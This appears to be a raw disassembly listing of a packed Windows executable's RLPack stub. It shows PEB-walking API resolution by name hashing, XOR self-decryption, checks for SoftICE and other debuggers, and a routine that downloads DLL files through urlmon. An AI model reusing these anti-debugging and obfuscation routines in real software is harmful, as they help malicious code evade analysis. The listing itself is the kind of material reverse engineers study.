[esi+153Fh] push eax lea eax, [esi+1576h] push eax push 0 call dword ptr [esi+1436h] cmp eax, 6 jnz short loc_4FC820 push 0 push dword ptr [ebp+8] call dword ptr [esi+196Ah] push 0 call dword ptr [esi+198Ah] loc_4FC820: ; CODE XREF: .RLPack:004FC7C3j ; .RLPack:004FC7DFj ... popa mov eax, [ebp-4] leave retn 10h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFFCh pusha mov esi, offset sub_401000 mov dword ptr [ebp-4], 0 mov eax, [ebp+8] mov [esi+198Eh], eax cmp dword ptr [ebp+0Ch], 110h jnz short loc_4FC879 mov dword ptr [ebp-4], 1 lea ebx, [esi+1C83h] mov edi, 3 jmp short loc_4FC872 ; --------------------------------------------------------------------------- loc_4FC861: ; CODE XREF: .RLPack:004FC875j push dword ptr [ebx] push dword ptr [ebp+8] call dword ptr [esi+196Eh] mov [ebx], eax add ebx, 4 dec edi loc_4FC872: ; CODE XREF: .RLPack:004FC85Fj cmp edi, 0 ja short loc_4FC861 jmp short loc_4FC8C6 ; --------------------------------------------------------------------------- loc_4FC879: ; CODE XREF: .RLPack:004FC84Bj cmp dword ptr [ebp+0Ch], 10h jz short loc_4FC888 cmp dword ptr [esi+1992h], 1 jnz short loc_4FC895 loc_4FC888: ; CODE XREF: .RLPack:004FC87Dj push 0 push dword ptr [ebp+8] call dword ptr [esi+196Ah] jmp short loc_4FC8C6 ; --------------------------------------------------------------------------- loc_4FC895: ; CODE XREF: .RLPack:004FC886j cmp dword ptr [ebp+0Ch], 111h jnz short loc_4FC8C6 cmp dword ptr [ebp+10h], 3 jnz short loc_4FC8C6 push 100h push dword ptr [esi+19A6h] push dword ptr [esi+1C87h] call dword ptr [esi+1976h] push 0 push dword ptr [ebp+8] call dword ptr [esi+196Ah] loc_4FC8C6: ; CODE XREF: .RLPack:004FC877j ; .RLPack:004FC893j ... popa mov eax, [ebp-4] leave retn 10h ; =============== S U B R O U T I N E ======================================= sub_4FC8CE proc near ; CODE XREF: .RLPack:004FC7BEp pusha call sub_4FD255 mov [esi+1416h], eax push dword ptr [esi+1986h] push dword ptr [esi+1416h] call sub_4FD291 mov [esi+1986h], eax lea eax, [esi+19AEh] push eax push 0 push esi lea eax, [esi+0A1Eh] push eax push 0 push 0 call dword ptr [esi+1986h] popa retn sub_4FC8CE endp ; --------------------------------------------------------------------------- pusha mov esi, [ebp+0Ch] lea eax, [esi+199Eh] mov edi, [eax] mov edi, [edi] jmp loc_4FCA26 ; --------------------------------------------------------------------------- loc_4FC921: ; CODE XREF: .RLPack:004FCA2Cj call sub_4FCA4A lea eax, [esi+1A00h] push eax push 0 lea eax, [esi+199Eh] mov eax, [eax] add eax, 4 mov ebx, [esi+19A2h] mov ecx, 1 jmp short loc_4FC94F ; --------------------------------------------------------------------------- loc_4FC947: ; CODE XREF: .RLPack:004FC951j inc eax cmp byte ptr [eax], 0 jnz short loc_4FC94F inc eax inc ecx loc_4FC94F: ; CODE XREF: .RLPack:004FC945j ; .RLPack:004FC94Bj cmp ecx, ebx jb short loc_4FC947 mov ebx, eax pusha push ebx lea ebx, [esi+141Eh] push dword ptr [ebx] push dword ptr [esi+1416h] call sub_4FD291 push 104h push dword ptr [esi+19AAh] push 0 call eax lea eax, [esi+19AAh] mov eax, [eax] add eax, 104h jmp short loc_4FC989 ; --------------------------------------------------------------------------- loc_4FC988: ; CODE XREF: .RLPack:004FC98Cj dec eax loc_4FC989: ; CODE XREF: .RLPack:004FC986j cmp byte ptr [eax], 5Ch jnz short loc_4FC988 inc eax pop ebx jmp short loc_4FC999 ; --------------------------------------------------------------------------- loc_4FC992: ; CODE XREF: .RLPack:004FC99Cj movzx ecx, byte ptr [ebx] mov [eax], cl inc eax inc ebx loc_4FC999: ; CODE XREF: .RLPack:004FC990j cmp byte ptr [ebx], 0 jnz short loc_4FC992 mov byte ptr [eax], 0 popa lea eax, [esi+19AAh] push dword ptr [eax] push ebx lea eax, [esi+1B63h] push eax push dword ptr [esi+19A6h] call dword ptr [esi+1442h] add esp, 0Ch push dword ptr [esi+19A6h] push 0 call dword ptr [esi+1982h] or eax, eax jz short loc_4FC9F5 push 10h lea eax, [esi+1451h] push eax lea eax, [esi+15DFh] push eax push 0 call dword ptr [esi+1436h] push 0 call dword ptr [esi+198Ah] jmp short loc_4FCA26 ; --------------------------------------------------------------------------- loc_4FC9F5: ; CODE XREF: .RLPack:004FC9D1j push ebx call dword ptr [esi+3F2h] or eax, eax jnz short loc_4FCA20 push 10h lea eax, [esi+1451h] push eax lea eax, [esi+16EDh] push eax push 0 call dword ptr [esi+1436h] push 0 call dword ptr [esi+198Ah] loc_4FCA20: ; CODE XREF: .RLPack:004FC9FEj inc dword ptr [esi+19A2h] loc_4FCA26: ; CODE XREF: .RLPack:004FC91Cj ; .RLPack:004FC9F3j cmp [esi+19A2h], edi jbe loc_4FC921 mov dword ptr [esi+1992h], 1 push dword ptr [esi+198Eh] call dword ptr [esi+197Eh] popa retn ; =============== S U B R O U T I N E ======================================= sub_4FCA4A proc near ; CODE XREF: .RLPack:loc_4FC921p pusha lea eax, [esi+1A63h] push eax lea eax, [esi+19C2h] push eax push dword ptr [esi+19A6h] call dword ptr [esi+1442h] add esp, 0Ch push dword ptr [esi+19A6h] push dword ptr [esi+1C6Fh] call dword ptr [esi+1972h] lea eax, [esi+199Eh] mov eax, [eax] add eax, 4 mov ebx, [esi+19A2h] mov ecx, 1 jmp short loc_4FCA9A ; --------------------------------------------------------------------------- loc_4FCA92: ; CODE XREF: sub_4FCA4A+52j inc eax cmp byte ptr [eax], 0 jnz short loc_4FCA9A inc eax inc ecx loc_4FCA9A: ; CODE XREF: sub_4FCA4A+46j ; sub_4FCA4A+4Cj cmp ecx, ebx jb short loc_4FCA92 push eax lea eax, [esi+19CEh] push eax push dword ptr [esi+19A6h] call dword ptr [esi+1442h] add esp, 0Ch push dword ptr [esi+19A6h] push dword ptr [esi+1C73h] call dword ptr [esi+1972h] lea eax, [esi+199Eh] mov eax, [eax] push dword ptr [eax] push dword ptr [esi+19A2h] lea eax, [esi+19F4h] push eax push dword ptr [esi+19A6h] call dword ptr [esi+1442h] add esp, 10h push dword ptr [esi+19A6h] push dword ptr [esi+1C7Bh] call dword ptr [esi+1972h] push 0 lea eax, [esi+19DEh] push eax push dword ptr [esi+19A6h] call dword ptr [esi+1442h] add esp, 0Ch push dword ptr [esi+19A6h] push dword ptr [esi+1C77h] call dword ptr [esi+1972h] popa retn sub_4FCA4A endp ; --------------------------------------------------------------------------- pusha push eax lea eax, [esi+19DEh] push eax push dword ptr [esi+19A6h] call dword ptr [esi+1442h] add esp, 0Ch push dword ptr [esi+19A6h] push dword ptr [esi+1C77h] call dword ptr [esi+1972h] popa retn ; =============== S U B R O U T I N E ======================================= sub_4FCB57 proc near ; CODE XREF: start:loc_4FBFC8p pusha mov esi, [ebp+1F47h] jmp short loc_4FCB84 ; --------------------------------------------------------------------------- loc_4FCB60: ; CODE XREF: sub_4FCB57+30j push esi call dword ptr [ebp+406h] or eax, eax jnz short loc_4FCB7B push esi call dword ptr [ebp+3F2h] or eax, eax jnz short loc_4FCB7B call sub_4FCB8B loc_4FCB7B: ; CODE XREF: sub_4FCB57+12j ; sub_4FCB57+1Dj jmp short loc_4FCB7E ; --------------------------------------------------------------------------- loc_4FCB7D: ; CODE XREF: sub_4FCB57+2Aj inc esi loc_4FCB7E: ; CODE XREF: sub_4FCB57:loc_4FCB7Bj cmp byte ptr [esi], 0 jnz short loc_4FCB7D inc esi loc_4FCB84: ; CODE XREF: sub_4FCB57+7j cmp byte ptr [esi], 1 jnz short loc_4FCB60 popa retn sub_4FCB57 endp ; =============== S U B R O U T I N E ======================================= sub_4FCB8B proc near ; CODE XREF: sub_4FCB57+1Fp pusha cmp dword ptr [ebp+1A63h], 0 jz loc_4FCC52 cmp dword ptr [ebp+199Eh], 0 jnz short loc_4FCBF4 push 40h push 1000h push 1000h push 0 call dword ptr [ebp+3FAh] mov [ebp+19AAh], eax push 40h push 1000h push 1000h push 0 call dword ptr [ebp+3FAh] mov [ebp+19A6h], eax push 40h push 1000h push 1000h push 0 call dword ptr [ebp+3FAh] mov [ebp+199Eh], eax jmp short loc_4FCBF4 ; --------------------------------------------------------------------------- jmp short loc_4FCC52 ; --------------------------------------------------------------------------- loc_4FCBF4: ; CODE XREF: sub_4FCB8B+15j ; sub_4FCB8B+65j mov dword ptr [ebp+1996h], 0 mov eax, [ebp+199Eh] add eax, 4 jmp short loc_4FCC2F ; --------------------------------------------------------------------------- loc_4FCC09: ; CODE XREF: sub_4FCB8B+A7j pusha mov edi, eax xor ecx, ecx jmp short loc_4FCC12 ; --------------------------------------------------------------------------- loc_4FCC10: ; CODE XREF: sub_4FCB8B+8Aj inc eax inc ecx loc_4FCC12: ; CODE XREF: sub_4FCB8B+83j cmp byte ptr [eax], 0 jnz short loc_4FCC10 repe cmpsb jnz short loc_4FCC25 mov dword ptr [ebp+1996h], 1 loc_4FCC25: ; CODE XREF: sub_4FCB8B+8Ej popa jmp short loc_4FCC29 ; --------------------------------------------------------------------------- loc_4FCC28: ; CODE XREF: sub_4FCB8B+A1j inc eax loc_4FCC29: ; CODE XREF: sub_4FCB8B+9Bj cmp byte ptr [eax], 0 jnz short loc_4FCC28 inc eax loc_4FCC2F: ; CODE XREF: sub_4FCB8B+7Cj cmp byte ptr [eax], 0 jnz short loc_4FCC09 cmp dword ptr [ebp+1996h], 0 jnz short loc_4FCC52 jmp short loc_4FCC45 ; --------------------------------------------------------------------------- loc_4FCC3F: ; CODE XREF: sub_4FCB8B+BDj mov bl, [esi] mov [eax], bl inc eax inc esi loc_4FCC45: ; CODE XREF: sub_4FCB8B+B2j cmp byte ptr [esi], 0 jnz short loc_4FCC3F mov eax, [ebp+199Eh] inc dword ptr [eax] loc_4FCC52: ; CODE XREF: sub_4FCB8B+8j ; sub_4FCB8B+67j ... popa retn sub_4FCB8B endp ; =============== S U B R O U T I N E ======================================= sub_4FCC54 proc near ; CODE XREF: sub_4FCCAF+57p ; .RLPack:loc_4FCE0Bp pusha push 4000h push 1000h push dword ptr [ebp+199Eh] call dword ptr [ebp+3FEh] push 4000h push 1000h push dword ptr [ebp+19AAh] call dword ptr [ebp+3FEh] push 4000h push 1000h push dword ptr [ebp+19A6h] call dword ptr [ebp+3FEh] push 4000h push 1000h push dword ptr [ebp+199Ah] call dword ptr [ebp+3FEh] popa retn sub_4FCC54 endp ; =============== S U B R O U T I N E ======================================= sub_4FCCAF proc near ; CODE XREF: start+FAp pusha push 40h push 1000h push 1000h push 0 call dword ptr [ebp+3FAh] mov [ebp+199Ah], eax mov edx, eax lea eax, [ebp+1C8Fh] mov ecx, 1B6h jmp short loc_4FCCE1 ; --------------------------------------------------------------------------- loc_4FCCD9: ; CODE XREF: sub_4FCCAF+35j movzx ebx, byte ptr [eax] mov [edx], bl inc eax inc edx dec ecx loc_4FCCE1: ; CODE XREF: sub_4FCCAF+28j cmp ecx, 0 ja short loc_4FCCD9 push 0 call dword ptr [ebp+406h] push 0 lea ebx, [ebp+87Fh] push ebx push 0 push dword ptr [ebp+199Ah] push eax call dword ptr [ebp+197Ah] call sub_4FCC54 popa retn sub_4FCCAF endp ; --------------------------------------------------------------------------- pusha call sub_4FCE12 mov eax, [edi+esi] mov [ebp+19BAh], eax push 40h push 1000h push 1000h push 0 call dword ptr [ebp+3FAh] mov [ebp+19A6h], eax push 40h push 1000h push 1000h push 0 call dword ptr [ebp+3FAh] mov [ebp+199Ah], eax mov edx, eax lea eax, [ebp+1E4Bh] mov ecx, 0ECh jmp short loc_4FCD67 ; --------------------------------------------------------------------------- loc_4FCD5F: ; CODE XREF: .RLPack:004FCD6Aj movzx ebx, byte ptr [eax] mov [edx], bl inc eax inc edx dec ecx loc_4FCD67: ; CODE XREF: .RLPack:004FCD5Dj cmp ecx, 0 ja short loc_4FCD5F push 0 call dword ptr [ebp+406h] push 0 lea ebx, [ebp+938h] push ebx push 0 push dword ptr [ebp+199Ah] push eax call dword ptr [ebp+197Ah] mov eax, [ebp+19A6h] xor ebx, ebx cdq jmp short loc_4FCD9F ; --------------------------------------------------------------------------- loc_4FCD97: ; CODE XREF: .RLPack:004FCDA2j mov dl, [eax] rol ebx, 7 xor bl, dl inc eax loc_4FCD9F: ; CODE XREF: .RLPack:004FCD95j cmp byte ptr [eax], 0 jnz short loc_4FCD97 cmp ebx, [ebp+19B6h] jnz short loc_4FCDEF mov eax, [ebp+19A6h] cdq jmp short loc_4FCDBD ; --------------------------------------------------------------------------- loc_4FCDB5: ; CODE XREF: .RLPack:004FCDC0j mov dl, [eax] rol ebx, 7 xor bl, dl inc eax loc_4FCDBD: ; CODE XREF: .RLPack:004FCDB3j cmp byte ptr [eax], 0 jnz short loc_4FCDB5 mov eax, [ebp+19BAh] mov ecx, [ebp+19BEh] cmp ecx, 0 jbe short loc_4FCE0B cmp eax, 0 jbe short loc_4FCE0B cmp ebx, 0 jbe short loc_4FCE0B jmp short loc_4FCDE8 ; --------------------------------------------------------------------------- loc_4FCDDF: ; CODE XREF: .RLPack:004FCDEBj xor [eax], bl xor bl, cl rol ebx, 7 inc eax dec ecx loc_4FCDE8: ; CODE XREF: .RLPack:004FCDDDj cmp ecx, 0 ja short loc_4FCDDF jmp short loc_4FCE0B ; --------------------------------------------------------------------------- loc_4FCDEF: ; CODE XREF: .RLPack:004FCDAAj push 10h lea eax, [ebp+153Fh] push eax lea eax, [ebp+1545h] push eax push 0 call dword ptr [ebp+1436h] popa popa pop eax retn ; --------------------------------------------------------------------------- loc_4FCE0B: ; CODE XREF: .RLPack:004FCDD1j ; .RLPack:004FCDD6j ... call sub_4FCC54 popa retn ; =============== S U B R O U T I N E ======================================= sub_4FCE12 proc near ; CODE XREF: start+F5p ; .RLPack:004FCD0Ep pusha cmp dword ptr [ebp+1982h], 0D95D2399h jnz loc_4FCF65 call sub_4FD255 mov [ebp+1416h], eax push dword ptr [ebp+198Ah] push eax call sub_4FD291 mov [ebp+198Ah], eax lea ebx, [ebp+1446h] push ebx call dword ptr [ebp+3F2h] mov [ebp+141Ah], eax lea ebx, [ebp+196Ah] mov esi, 5 jmp short loc_4FCE73 ; --------------------------------------------------------------------------- loc_4FCE60: ; CODE XREF: sub_4FCE12+64j push dword ptr [ebx] push dword ptr [ebp+141Ah] call sub_4FD291 mov [ebx], eax add ebx, 4 dec esi loc_4FCE73: ; CODE XREF: sub_4FCE12+4Cj cmp esi, 0 ja short loc_4FCE60 cmp dword ptr [ebp+1436h], 0ABBC680Dh jnz short loc_4FCE9B push dword ptr [ebp+1436h] push dword ptr [ebp+141Ah] call sub_4FD291 mov [ebp+1436h], eax loc_4FCE9B: ; CODE XREF: sub_4FCE12+70j cmp dword ptr [ebp+1442h], 0EA3AF0D7h jnz short loc_4FCEBE push dword ptr [ebp+1442h] push dword ptr [ebp+141Ah] call sub_4FD291 mov [ebp+1442h], eax loc_4FCEBE: ; CODE XREF: sub_4FCE12+93j lea ebx, [ebp+195Fh] push ebx call dword ptr [ebp+3F2h] push dword ptr [ebp+1982h] push eax call sub_4FD291 mov [ebp+1982h], eax lea ebx, [ebp+1A00h] lea eax, [ebp+1A04h] mov [ebx], eax lea ebx, [ebp+1A04h] lea eax, [ebp+1A2Eh] mov [ebx], eax lea ebx, [ebp+1A08h] lea eax, [ebp+1A28h] mov [ebx], eax lea ebx, [ebp+1A0Ch] lea eax, [ebp+1A28h] mov [ebx], eax lea ebx, [ebp+1A10h] lea eax, [ebp+1A2Eh] mov [ebx], eax lea ebx, [ebp+1A1Ch] lea eax, [ebp+1A31h] mov [ebx], eax lea ebx, [ebp+1A20h] lea eax, [ebp+1A2Eh] mov [ebx], eax lea ebx, [ebp+1A24h] lea eax, [ebp+1A2Eh] mov [ebx], eax lea ebx, [ebp+887h] mov [ebx], ebp lea ebx, [ebp+940h] mov [ebx], ebp lea ebx, [ebp+1A33h] mov [ebx], ebp loc_4FCF65: ; CODE XREF: sub_4FCE12+Bj popa retn sub_4FCE12 endp ; --------------------------------------------------------------------------- db 60h dd 195BBD83h, 75000000h, 9D8D6048h, 1446h, 695FF53h, 0B000004h dd 8D0D75C0h, 14469Dh, 95FF5300h, 3F2h, 141A8589h, 406A0000h dd 100068h, 12858B00h, 6B000014h, 0C08316C0h, 6A5064h dd 3FA95FFh, 85890000h, 195Bh, 3FBD8B61h, 3B00001Fh, 1416BDh dd 3B087400h, 141ABDh, 8B597500h, 8B310FF8h, 195B9Dh, 9303C600h dd 680143C6h, 0D033F833h, 307C2C1h, 27B89FAh, 810643C6h dd 2C0743C6h, 240843C6h, 0C6095389h, 0C6930D43h, 0C6810E43h dd 0C6340F43h, 89241043h, 43C61143h, 0C383C315h, 5B9D8916h dd 61000019h, 195B858Bh, 0E8830000h, 2EBC316h, 0E860C361h dd 1BCh, 179E8h, 21BE800h, 85890000h, 1416h, 17A39D8Dh dd 4BE0000h, 0EB000000h, 0FF33FF13h, 1416B5h, 237E800h dd 3890000h, 4E04C383h, 7700FE83h, 0BB85C7E8h, 94000017h dd 8D000000h, 17BB85h, 95FF5000h, 17ABh, 17CBBD83h, 74010000h dd 0A3BD8319h, 17h, 95FF1074h, 17A3h, 674C00Bh, 17B38589h dd 0BD830000h, 17CBh, 83667502h, 17A7BDh, 27740000h, 17B7858Dh dd 6A500000h, 0A795FFFFh, 8B000017h, 17A785h, 8B388100h dd 75082444h, 0B785C70Ah, 1000017h, 64000000h, 30A1h, 68C08300h dd 0F883008Bh, 0C70A7570h, 17B385h, 100h, 18A16400h, 8B000000h dd 408B3040h, 10788318h, 0C70A7400h, 17B385h, 100h, 9BE00h dd 0BD8D0000h, 184Fh, 8068006Ah, 6A000000h, 6A006A03h dd 6801h, 0FF578000h, 17AF95h, 0FFF88300h, 85C70A74h, 17B3h dd 1, 3F8047h, 4E47FA75h, 0C361CE75h, 0B3BD8360h, 1000017h dd 0BD830974h, 17B7h, 8D4D7501h, 14469Dh, 95FF5300h, 3F2h dd 141A8589h, 0BD810000h, 1436h, 0ABBC680Dh, 0B5FF1275h dd 1436h, 107E850h, 85890000h, 1436h, 858D306Ah, 1451h dd 0AC858D50h, 50000018h, 95FF006Ah, 1436h, 0C3615861h dd 6A60C361h, 695FF00h, 50000004h, 19B28D8Dh, 6A510000h dd 2006840h, 0FF500000h, 40295h, 888D5800h, 200h, 3C408B66h dd 14400366h, 5EBC82Bh, 104C6h, 0F98349h, 0C361F677h, 30A16460h dd 85000000h, 8B0F78C0h, 408B0C40h, 2040810Ch, 3000h, 6A1CEBh dd 40695FFh, 0D2850000h, 7A831079h, 0A75FF08h, 8104528Bh dd 30005042h, 0C3610000h ; =============== S U B R O U T I N E ======================================= sub_4FD224 proc near ; CODE XREF: start+A9p pusha lea eax, [ebp-6] mov ecx, 319h xor ebx, ebx cdq jmp short loc_4FD23B ; --------------------------------------------------------------------------- loc_4FD232: ; CODE XREF: sub_4FD224+1Aj mov dl, [eax] rol ebx, 7 xor bl, dl inc eax dec ecx loc_4FD23B: ; CODE XREF: sub_4FD224+Cj cmp ecx, 0 ja short loc_4FD232 lea eax, [esi+4] mov ecx, [esi] jmp short loc_4FD24E ; --------------------------------------------------------------------------- loc_4FD247: ; CODE XREF: sub_4FD224+2Dj xor [eax], bl rol ebx, 3 inc eax dec ecx loc_4FD24E: ; CODE XREF: sub_4FD224+21j cmp ecx, 0 ja short loc_4FD247 popa retn sub_4FD224 endp ; =============== S U B R O U T I N E ======================================= sub_4FD255 proc near ; CODE XREF: .RLPack:004FC550p ; .RLPack:004FC5EBp ... var_4 = dword ptr -4 pusha xor edx, edx mov esi, fs:[edx] loc_4FD25B: ; CODE XREF: sub_4FD255+Ej lodsd cmp eax, 0FFFFFFFFh jz short loc_4FD265 mov esi, eax jmp short loc_4FD25B ; --------------------------------------------------------------------------- loc_4FD265: ; CODE XREF: sub_4FD255+Aj mov edi, [esi+4] and edi, 0FFFF0000h loc_4FD26E: ; CODE XREF: sub_4FD255+26j ; sub_4FD255+34j cmp word ptr [edi], 5A4Dh jz short loc_4FD27D sub edi, 10000h jmp short loc_4FD26E ; --------------------------------------------------------------------------- loc_4FD27D: ; CODE XREF: sub_4FD255+1Ej mov ebx, edi add ebx, [ebx+3Ch] cmp word ptr [ebx], 4550h jz short loc_4FD28B jmp short loc_4FD26E ; --------------------------------------------------------------------------- loc_4FD28B: ; CODE XREF: sub_4FD255+32j mov [esp+20h+var_4], edi popa retn sub_4FD255 endp ; =============== S U B R O U T I N E ======================================= sub_4FD291 proc near ; CODE XREF: start+4F1p start+510p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebx, [esp+20h+arg_0] mov ecx, ebx add ebx, [ebx+3Ch] mov ebx, [ebx+78h] add ebx, ecx mov edi, [ebx+20h] add edi, ecx xor esi, esi loc_4FD2A7: ; CODE XREF: sub_4FD291+34j lea edx, [edi+esi*4] mov edx, [edx] add edx, ecx xor eax, eax loc_4FD2B0: ; CODE XREF: sub_4FD291+28j rol eax, 7 xor al, [edx] inc edx cmp byte ptr [edx], 0 jnz short loc_4FD2B0 cmp eax, [esp+20h+arg_4] jz short loc_4FD2C7 inc esi cmp esi, [ebx+18h] jb short loc_4FD2A7 loc_4FD2C7: ; CODE XREF: sub_4FD291+2Ej mov edx, [ebx+24h] add edx, ecx movzx edx, word ptr [edx+esi*2] mov eax, [ebx+1Ch] add eax, ecx mov eax, [eax+edx*4] add eax, ecx mov [esp+20h+var_4], eax popa retn 8 sub_4FD291 endp ; --------------------------------------------------------------------------- align 8 dd 40h, 2 dup(0) db 2 dup(0) word_4FD2F6 dw 0 ; DATA XREF: .RLPack:004FC524o dd 2 dup(0) dd 8B0000h, 2 dup(0) dd 93E80000h, 0F1147743h, 0E16B08F8h, 0CBF1487Fh, 0B0D5AEF7h dd 2B19723Eh, 680D9590h, 969CABBCh, 0C609BF78h, 0F0D7AE52h dd 7375EA3Ah, 32337265h, 6C6C642Eh, 72724500h, 3A726Fh dd 656C6946h, 6D616420h, 64656761h, 20726F20h, 65666E69h dd 64657463h, 20796220h, 75726976h, 43002173h, 646C756Fh dd 746F6E20h, 616F6C20h, 73252064h, 6E796420h, 63696D61h dd 6E696C20h, 696C206Bh, 72617262h, 43002179h, 646C756Fh dd 746F6E20h, 6E696620h, 73252064h, 70786520h, 2074726Fh dd 69736E69h, 25206564h, 79642073h, 696D616Eh, 696C2063h dd 6C206B6Eh, 61726269h, 217972h, 6C756F43h, 6F6E2064h dd 69662074h, 6F20646Eh, 6E696472h, 65206C61h, 726F7078h dd 30253A74h, 69205838h, 6469736Eh, 73252065h, 6E796420h dd 63696D61h, 6E696C20h, 696C206Bh, 72617262h, 41002179h dd 696C7070h, 69746163h, 69206E6Fh, 6C612073h, 64616572h dd 75722079h, 6E696E6Eh, 49002167h, 3A6F666Eh, 72615700h dd 676E696Eh, 6150203Ah, 6F777373h, 79206472h, 6820756Fh dd 20657661h, 65746E65h, 20646572h, 6E207369h, 7620746Fh dd 646C6961h, 6F440021h, 756F7920h, 6E617720h, 6F742074h dd 6E616320h, 206C6563h, 20656874h, 656C6966h, 776F6420h dd 616F6C6Eh, 0A0D3F64h, 6E726157h, 3A676E69h, 70704120h dd 6163696Ch, 6E6F6974h, 6E616320h, 746F6E20h, 6E757220h dd 74697720h, 74756F68h, 73656E20h, 61736573h, 2E207972h dd 206C6C64h, 656C6966h, 43002173h, 646C756Fh, 746F6E20h dd 776F6420h, 616F6C6Eh, 656E2064h, 73657373h, 20797261h dd 6C6C642Eh, 6C696620h, 29732865h, 63656220h, 65737561h dd 0D0A0D3Ah, 2029310Ah, 20756F59h, 20657261h, 20746F6Eh dd 6E6E6F63h, 65746365h, 6F742064h, 746E6920h, 656E7265h dd 320A0D74h, 69462029h, 6320656Ch, 6E206E61h, 6220746Fh dd 6F662065h, 20646E75h, 72206E6Fh, 746F6D65h, 65732065h dd 72657672h, 29330A0Dh, 756F5920h, 69662072h, 61776572h dd 68206C6Ch, 62207361h, 6B636F6Ch, 61206465h, 73656363h dd 6F742073h, 746E6920h, 656E7265h, 0D0A0D74h, 6E69530Ah dd 61206563h, 696C7070h, 69746163h, 63206E6Fh, 6E206E61h dd 7220746Fh, 77206E75h, 6F687469h, 6E207475h, 65737365h dd 79726173h, 6C642E20h, 6966206Ch, 2C73656Ch, 6F727020h dd 6D617267h, 6C697720h, 6F6E206Ch, 6C632077h, 2165736Fh dd 776F4400h, 616F6C6Eh, 20646564h, 6C6C642Eh, 6C696620h dd 73692065h, 726F6320h, 74707572h, 646E6120h, 6E616320h dd 746F6E20h, 20656220h, 64616F6Ch, 0D216465h, 656C500Ah dd 20657361h, 74736572h, 20747261h, 73696874h, 6C706120h dd 74616369h, 206E6F69h, 74206F73h, 66206568h, 20656C69h dd 206E6163h, 64206562h, 6C6E776Fh, 6564616Fh, 67612064h dd 216E6961h, 0Eh dup(0) dd 2000000h, 7295FB6Ah, 246D3A82h, 149C480Eh, 8F8F1h, 26h dup(0) dd 5C000000h, 535C2E5Ch, 454349h, 5C2E5C5Ch, 56574953h dd 5C004449h, 4E5C2E5Ch, 45434954h, 2E5C5C00h, 4745525Ch dd 535953h, 5C2E5C5Ch, 56474552h, 5C004758h, 465C2E5Ch dd 56454C49h, 5C004758h, 465C2E5Ch, 4D454C49h, 2E5C5C00h dd 5752545Ch, 2E5C5C00h, 4543495Ch, 545845h, 75626544h dd 72656767h, 74656420h, 65746365h, 2D202064h, 656C7020h dd 20657361h, 736F6C63h, 74692065h, 776F6420h, 6E61206Eh dd 65722064h, 72617473h, 0A0D2174h, 646E6957h, 2073776Fh dd 7520544Eh, 73726573h, 6C50203Ah, 65736165h, 746F6E20h dd 68742065h, 68207461h, 6E697661h, 68742067h, 69572065h dd 6563496Eh, 666F532Fh, 65634974h, 65730A0Dh, 63697672h dd 6E692065h, 6C617473h, 2064656Ch, 6E61656Dh, 68742073h dd 79207461h, 6120756Fh, 72206572h, 696E6E75h, 6120676Eh dd 62656420h, 65676775h, 2172h, 75000000h, 6F6D6C72h, 6C642E6Eh dd 0A5C1006Ch, 21A8D9E6h, 100A9CD4h, 100A3C29h, 0FC469C29h dd 0B1BFD5FFh, 2399F23Eh, 9AF0D95Dh, 2B196FB8h, 9590h dd 4 dup(0) dd 10000h, 3 dup(0) dd 800000h, 56780000h, 1234h, 0 dd 65570000h, 74695362h, 25203A65h, 6F440073h, 6F6C6E77h dd 6E696461h, 25203A67h, 6F430073h, 656C706Dh, 3A646574h dd 20642520h, 63726570h, 746E65h, 656C6946h, 6425203Ah dd 64252Fh, 406D45h, 406D6Fh, 2 dup(406D69h), 406D6Fh dd 2 dup(0) ; --------------------------------------------------------------------------- jb short near ptr byte_4FD97B inc eax add [edi+6Dh], ch inc eax add [edi+6Dh], ch inc eax add dl, al add al, 0 retn 8 ; --------------------------------------------------------------------------- retn 0Ch ; --------------------------------------------------------------------------- pusha mov esi, offset sub_401000 mov edx, [ebp+0Ch] mov ebx, [ebp+10h] cmp edx, 0 jbe short loc_4FD945 cmp ebx, 0 jbe short loc_4FD945 mov eax, edx cdq mov ecx, 64h imul ecx div ebx jmp short loc_4FD947 ; --------------------------------------------------------------------------- loc_4FD945: ; CODE XREF: .RLPack:004FD930j ; .RLPack:004FD935j xor eax, eax loc_4FD947: ; CODE XREF: .RLPack:004FD943j lea ebx, [esi+0C3Bh] call ebx ; WideCharToMultiByte popa retn 14h ; --------------------------------------------------------------------------- align 4 dd 9 dup(0) db 3 dup(0) byte_4FD97B db 0 ; CODE XREF: .RLPack:004FD90Cj dd 75h dup(0) dd 2 dup(1000000h), 2000000h, 3000000h, 4000000h, 5000000h dd 6000000h, 7000000h, 1000000h, 2000000h, 3000000h, 40000000h dd 10CA08h, 7000000h, 0 dd 4200E000h, 0 dd 6F004400h, 6E007700h, 6F006C00h, 64006100h, 8000000h dd 65005600h, 64007200h, 6E006100h, 6100h, 0FF8B00h, 500200h dd 6000000h, 73000400h, 1000C00h, 82FFFF00h, 6F004400h dd 6E007700h, 6F006C00h, 64006100h, 6E006900h, 20006700h dd 65006E00h, 73007300h, 73006500h, 72006100h, 20007900h dd 64002E00h, 6C006C00h, 66002000h, 6C006900h, 73006500h dd 0 dd 7FF8B00h, 500000h, 5000000h, 0D7000F00h, 2003200h, 80FFFF00h dd 6F004400h, 6E007700h, 6F006C00h, 64006100h, 70002000h dd 6F007200h, 72006700h, 73006500h, 20007300h, 0 dd 0FF8B00h, 500200h, 17000000h, 0C0001900h, 3000A00h dd 82FFFF00h, 65005700h, 53006200h, 74006900h, 3A006500h dd 0 dd 0FF8B00h, 500200h, 8000000h, 0CE002100h, 4000A00h, 82FFFF00h dd 6F004400h, 6E007700h, 6F006C00h, 64006100h, 6E006900h dd 3A006700h, 0 dd 0FF8B00h, 500200h, 0E000000h, 55002A00h, 5000900h, 82FFFF00h dd 6F004300h, 70006D00h, 65006C00h, 65007400h, 3A006400h dd 0 dd 0FF8B00h, 500200h, 27000000h, 45003200h, 6000900h, 82FFFF00h dd 69004600h, 65006C00h, 20003A00h, 0 dd 0FF8B00h, 500200h, 9D000000h, 3C002F00h, 7000E00h, 80FFFF00h dd 61004300h, 63006E00h, 6C006500h, 0 dd 0FF8B00h, 40000000h, 10CA08h, 4000000h, 0 dd 2300B400h, 0 dd 61005000h, 73007300h, 6F007700h, 64007200h, 8000000h dd 65005600h, 64007200h, 6E006100h, 6100h, 7FF8B00h, 500000h dd 2000000h, 0B0000200h, 1E00h, 80FFFF00h, 6E004500h, 65007400h dd 20007200h, 61007000h, 73007300h, 6F007700h, 64007200h dd 0 dd 0FF8B00h, 500200h, 6000000h, 24000E00h, 